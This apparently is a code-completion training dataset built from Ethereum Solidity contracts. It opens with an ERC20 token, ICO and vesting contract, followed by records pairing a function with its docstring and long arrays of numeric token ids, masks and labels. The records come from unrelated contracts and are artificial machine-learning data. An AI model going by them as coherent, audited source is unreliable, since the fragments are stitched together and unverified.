allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title OneledgerToken * @dev this is the oneledger token */ contract OneledgerToken is MintableToken { using SafeMath for uint256; string public name = "Oneledger Token"; string public symbol = "OLT"; uint8 public decimals = 18; bool public active = false; /** * @dev restrict function to be callable when token is active */ modifier activated() { require(active == true); _; } /** * @dev activate token transfers */ function activate() public onlyOwner { active = true; } /** * @dev transfer ERC20 standard transfer wrapped with `activated` modifier */ function transfer(address to, uint256 value) public activated returns (bool) { return super.transfer(to, value); } /** * @dev transfer ERC20 standard transferFrom wrapped with `activated` modifier */ function transferFrom(address from, address to, uint256 value) public activated returns (bool) { return super.transferFrom(from, to, value); } } contract ICO is Ownable { using SafeMath for uint256; struct WhiteListRecord { uint256 offeredWei; uint256 lastPurchasedTimestamp; } OneledgerToken public token; address public wallet; // Address where funds are collected uint256 public rate; // How many token units a buyer gets per eth mapping (address => WhiteListRecord) public whiteList; uint256 public initialTime; bool public saleClosed; uint256 public weiCap; uint256 public weiRaised; uint256 public TOTAL_TOKEN_SUPPLY = 1000000000 * (10 ** 18); event BuyTokens(uint256 weiAmount, uint256 rate, uint256 token, address beneficiary); event UpdateRate(uint256 rate); event UpdateWeiCap(uint256 weiCap); /** * @dev constructor */ constructor(address _wallet, uint256 _rate, uint256 _startDate, uint256 _weiCap) public { require(_rate > 0); require(_wallet != address(0)); require(_weiCap.mul(_rate) <= TOTAL_TOKEN_SUPPLY); wallet = _wallet; rate = _rate; initialTime = _startDate; saleClosed = false; weiCap = _weiCap; weiRaised = 0; token = new OneledgerToken(); } /** * @dev fallback function ***DO NOT OVERRIDE*** */ function() external payable { buyTokens(); } /** * @dev update the rate */ function updateRate(uint256 rate_) public onlyOwner { require(now <= initialTime); rate = rate_; emit UpdateRate(rate); } /** * @dev update the weiCap */ function updateWeiCap(uint256 weiCap_) public onlyOwner { require(now <= initialTime); weiCap = weiCap_; emit UpdateWeiCap(weiCap_); } /** * @dev buy tokens */ function buyTokens() public payable { validatePurchase(msg.value); uint256 tokenToBuy = msg.value.mul(rate); whiteList[msg.sender].lastPurchasedTimestamp = now; weiRaised = weiRaised.add(msg.value); token.mint(msg.sender, tokenToBuy); wallet.transfer(msg.value); emit BuyTokens(msg.value, rate, tokenToBuy, msg.sender); } /** * @dev add to white list * param addresses the list of address added to white list * param weiPerContributor the wei can be transfer per contributor * param capWei for the user in this list */ function addToWhiteList(address[] addresses, uint256 weiPerContributor) public onlyOwner { for (uint32 i = 0; i < addresses.length; i++) { whiteList[addresses[i]] = WhiteListRecord(weiPerContributor, 0); } } /** * @dev mint token to new address, either contract or a wallet * param OneledgerTokenVesting vesting contract * param uint256 total token number to mint */ function mintToken(address target, uint256 tokenToMint) public onlyOwner { token.mint(target, tokenToMint); } /** * @dev close the ICO */ function closeSale() public onlyOwner { saleClosed = true; if (TOTAL_TOKEN_SUPPLY > token.totalSupply()) { token.mint(owner, TOTAL_TOKEN_SUPPLY.sub(token.totalSupply())); } token.finishMinting(); token.transferOwnership(owner); } function validatePurchase(uint256 weiPaid) internal view{ require(!saleClosed); require(initialTime <= now); require(whiteList[msg.sender].offeredWei > 0); require(weiPaid <= weiCap.sub(weiRaised)); // can only purchase once every 24 hours require(now.sub(whiteList[msg.sender].lastPurchasedTimestamp) > 24 hours); uint256 elapsedTime = now.sub(initialTime); // check day 1 buy limit require(elapsedTime > 24 hours || msg.value <= whiteList[msg.sender].offeredWei); // check day 2 buy limit require(elapsedTime > 48 hours || msg.value <= whiteList[msg.sender].offeredWei.mul(2)); } } contract OneledgerTokenVesting is Ownable{ using SafeMath for uint256; event Released(uint256 amount); // beneficiary of tokens after they are released address public beneficiary; uint256 public startFrom; uint256 public period; uint256 public tokensReleasedPerPeriod; uint256 public elapsedPeriods; OneledgerToken private token; /** * @dev Creates a vesting contract for OneledgerToken * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _startFrom Datetime when the vesting will begin * @param _period The preiod to release the token * @param _tokensReleasedPerPeriod the token to release per period */ constructor( address _beneficiary, uint256 _startFrom, uint256 _period, uint256 _tokensReleasedPerPeriod, OneledgerToken _token ) public { require(_beneficiary != address(0)); require(_startFrom >= now); beneficiary = _beneficiary; startFrom = _startFrom; period = _period; tokensReleasedPerPeriod = _tokensReleasedPerPeriod; elapsedPeriods = 0; token = _token; } /** * @dev getToken this may be more convinience for user * to check if their vesting contract is binded with a right token * return OneledgerToken */ function getToken() public view returns(OneledgerToken) { return token; } /** * @dev release * param _token Oneledgertoken that will be released to beneficiary */ function release() public { require(msg.sender == owner || msg.sender == beneficiary); require(token.balanceOf(this) >= 0 && now >= startFrom); uint256 elapsedTime = now.sub(startFrom); uint256 periodsInCurrentRelease = elapsedTime.div(period).sub(elapsedPeriods); uint256 tokensReadyToRelease = periodsInCurrentRelease.mul(tokensReleasedPerPeriod); uint256 amountToTransfer = tokensReadyToRelease > token.balanceOf(this) ? token.balanceOf(this) : tokensReadyToRelease; require(amountToTransfer > 0); elapsedPeriods = elapsedPeriods.add(periodsInCurrentRelease); token.transfer(beneficiary, amountToTransfer); emit Released(amountToTransfer); } }
* @dev Creates a vesting contract for OneledgerToken @param _beneficiary address of the beneficiary to whom vested tokens are transferred @param _startFrom Datetime when the vesting will begin @param _period The preiod to release the token @param _tokensReleasedPerPeriod the token to release per period/
) public { require(_beneficiary != address(0)); require(_startFrom >= now); beneficiary = _beneficiary; startFrom = _startFrom; period = _period; tokensReleasedPerPeriod = _tokensReleasedPerPeriod; elapsedPeriods = 0; token = _token; }
1,967,609
[ 1, 2729, 279, 331, 10100, 6835, 364, 2755, 292, 329, 693, 1345, 225, 389, 70, 4009, 74, 14463, 814, 1758, 434, 326, 27641, 74, 14463, 814, 358, 600, 362, 331, 3149, 2430, 854, 906, 4193, 225, 389, 1937, 1265, 26650, 1347, 326, 331, 10100, 903, 2376, 225, 389, 6908, 1021, 675, 2386, 358, 3992, 326, 1147, 225, 389, 7860, 26363, 2173, 5027, 326, 1147, 358, 3992, 1534, 3879, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 1071, 288, 203, 3639, 2583, 24899, 70, 4009, 74, 14463, 814, 480, 1758, 12, 20, 10019, 203, 3639, 2583, 24899, 1937, 1265, 1545, 2037, 1769, 203, 203, 3639, 27641, 74, 14463, 814, 273, 389, 70, 4009, 74, 14463, 814, 31, 203, 3639, 787, 1265, 273, 389, 1937, 1265, 31, 203, 3639, 3879, 273, 389, 6908, 31, 203, 3639, 2430, 26363, 2173, 5027, 273, 389, 7860, 26363, 2173, 5027, 31, 203, 3639, 9613, 30807, 273, 374, 31, 203, 3639, 1147, 273, 389, 2316, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x8fF1C8A8799DD59Eca03d9CF52B12ae0ccC21762/sources/SkinMinting.sol
_isCooldownReady: check whether cooldown period has been passed
function _isCooldownReady(uint256 skinAId, uint256 skinBId) private view returns (bool) { return (skins[skinAId].cooldownEndTime <= uint64(now)) && (skins[skinBId].cooldownEndTime <= uint64(now)); }
4,416,441
[ 1, 67, 291, 39, 1371, 2378, 8367, 30, 866, 2856, 27367, 2378, 3879, 711, 2118, 2275, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 291, 39, 1371, 2378, 8367, 12, 11890, 5034, 18705, 37, 548, 16, 2254, 5034, 18705, 38, 548, 13, 3238, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 261, 7771, 2679, 63, 7771, 267, 37, 548, 8009, 71, 1371, 2378, 25255, 1648, 2254, 1105, 12, 3338, 3719, 597, 261, 7771, 2679, 63, 7771, 267, 38, 548, 8009, 71, 1371, 2378, 25255, 1648, 2254, 1105, 12, 3338, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xBd57260E0A833dA5C07cc0af687cFFAE60179C26/sources/contracts/RWAHub.sol
* @notice Admin function to set the address of the Pricer contract @param newPricer The address of the new pricer contract/
function setPricer(address newPricer) external onlyRole(MANAGER_ADMIN) { address oldPricer = address(pricer); pricer = IPricer(newPricer); emit NewPricerSet(oldPricer, newPricer); }
8,446,092
[ 1, 4446, 445, 358, 444, 326, 1758, 434, 326, 453, 1512, 264, 6835, 225, 394, 52, 1512, 264, 1021, 1758, 434, 326, 394, 846, 21349, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 17004, 1512, 264, 12, 2867, 394, 52, 1512, 264, 13, 3903, 1338, 2996, 12, 19402, 67, 15468, 13, 288, 203, 565, 1758, 1592, 52, 1512, 264, 273, 1758, 12, 683, 21349, 1769, 203, 565, 846, 21349, 273, 2971, 1512, 264, 12, 2704, 52, 1512, 264, 1769, 203, 565, 3626, 1166, 52, 1512, 264, 694, 12, 1673, 52, 1512, 264, 16, 394, 52, 1512, 264, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.5.0 <0.7.0; contract ContractRegistryContract { struct Registration { address contractAddress; uint256 registrationDate; string category; } struct Index { uint256 i; bool occupied; } Registration[] public registry; mapping(address => Index) public registryCheck; function register(address contractAddress, uint256 timestamp, string memory category) public payable { // to avoid trash being registrated .. if (msg.value < 1 ether) revert("fee not enough"); // stop if element already in array if (registryCheck[contractAddress].occupied) revert("contract already registrated"); registry.push(Registration(contractAddress, timestamp, category)); registryCheck[contractAddress].occupied = true; registryCheck[contractAddress].i = registry.length - 1; } function remove(address contractAddress) public payable { // to avoid trash being registrated .. if (msg.value < 5 ether) revert("fee not enough"); // Nothing to remove if (registry.length == 0) return; // element to remove not in array if (!registryCheck[contractAddress].occupied) return; // mark element as not in array anymore registryCheck[contractAddress].occupied = false; // avoiding gaps in array by moving last element of array to index // (array is deleted by overriding it) if (registry.length > 1) { // Index of element to remove uint256 index = registryCheck[contractAddress].i; // Move last element in array to index registry[index] = registry[registry.length - 1]; // Set new index of moved element registryCheck[registry[index].contractAddress].i = index; } // deleting last element (not needed anymore) registry.pop(); } function collectFees() public { address payable receiver = 0xE98A2cA17F4A56b07e458Ed85e00eBbFdE6f415C; receiver.transfer(address(this).balance); } function getAllContracts() public view returns (address[] memory) { address[] memory addresses = new address[](registry.length); for (uint256 i = 0; i < registry.length; i++) addresses[i] = registry[i].contractAddress; return addresses; } }
to avoid trash being registrated .. stop if element already in array
function register(address contractAddress, uint256 timestamp, string memory category) public payable { if (msg.value < 1 ether) revert("fee not enough"); if (registryCheck[contractAddress].occupied) revert("contract already registrated"); registry.push(Registration(contractAddress, timestamp, category)); registryCheck[contractAddress].occupied = true; registryCheck[contractAddress].i = registry.length - 1; }
5,401,184
[ 1, 869, 4543, 20703, 3832, 17450, 690, 6116, 2132, 309, 930, 1818, 316, 526, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1744, 12, 2867, 6835, 1887, 16, 2254, 5034, 2858, 16, 533, 3778, 3150, 13, 203, 3639, 1071, 203, 3639, 8843, 429, 203, 565, 288, 203, 3639, 309, 261, 3576, 18, 1132, 411, 404, 225, 2437, 13, 15226, 2932, 21386, 486, 7304, 8863, 203, 203, 3639, 309, 261, 9893, 1564, 63, 16351, 1887, 8009, 25049, 416, 2092, 13, 203, 5411, 15226, 2932, 16351, 1818, 17450, 690, 8863, 203, 203, 3639, 4023, 18, 6206, 12, 7843, 12, 16351, 1887, 16, 2858, 16, 3150, 10019, 203, 3639, 4023, 1564, 63, 16351, 1887, 8009, 25049, 416, 2092, 273, 638, 31, 203, 3639, 4023, 1564, 63, 16351, 1887, 8009, 77, 273, 4023, 18, 2469, 300, 404, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x84E41F6306bd0d9456AB981528d2657f67B954DE/sources/FlashbotsWithGasV2V3.sol
swapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens( amountIn, 0, path, to, block.timestamp); trueAmountOut=IERC20(tokenOut).balanceOf(address(this));
trueAmountOut =swapRouterV2.swapExactTokensForTokens(amountIn,0,path,to,block.timestamp)[1];
12,500,021
[ 1, 22270, 8259, 58, 22, 18, 22270, 14332, 5157, 1290, 5157, 6289, 310, 14667, 1398, 5912, 5157, 12, 377, 3844, 382, 16, 377, 374, 16, 377, 589, 16, 377, 358, 16, 377, 1203, 18, 5508, 1769, 638, 6275, 1182, 33, 45, 654, 39, 3462, 12, 2316, 1182, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 638, 6275, 1182, 273, 22270, 8259, 58, 22, 18, 22270, 14332, 5157, 1290, 5157, 12, 8949, 382, 16, 20, 16, 803, 16, 869, 16, 2629, 18, 5508, 25146, 21, 15533, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/84531/0x88Cc4aA0dd6Cf126b00C012dDa9f6F4fd9388b17/sources/contracts/SwapFlashLoan.sol
* @title Swap - A StableSwap implementation in solidity. @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens in desired ratios for an exchange of the pool token that represents their share of the pool. Users can burn pool tokens and withdraw their share of token(s). Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets distributed to the LPs. In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which stops the ratio of the tokens in the pool from changing. Users can always withdraw their tokens via multi-asset withdraws. @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's deployment size./ Total fee that is charged on all flashloans in BPS. Borrowers must repay the amount plus the flash loan fee. This fee is split between the protocol and the pool. Share of the flash loan fee that goes to the protocol in BPS. A portion of each flash loan fee is allocated to the protocol rather than the pool. Max BPS for limiting flash loan fee settings.
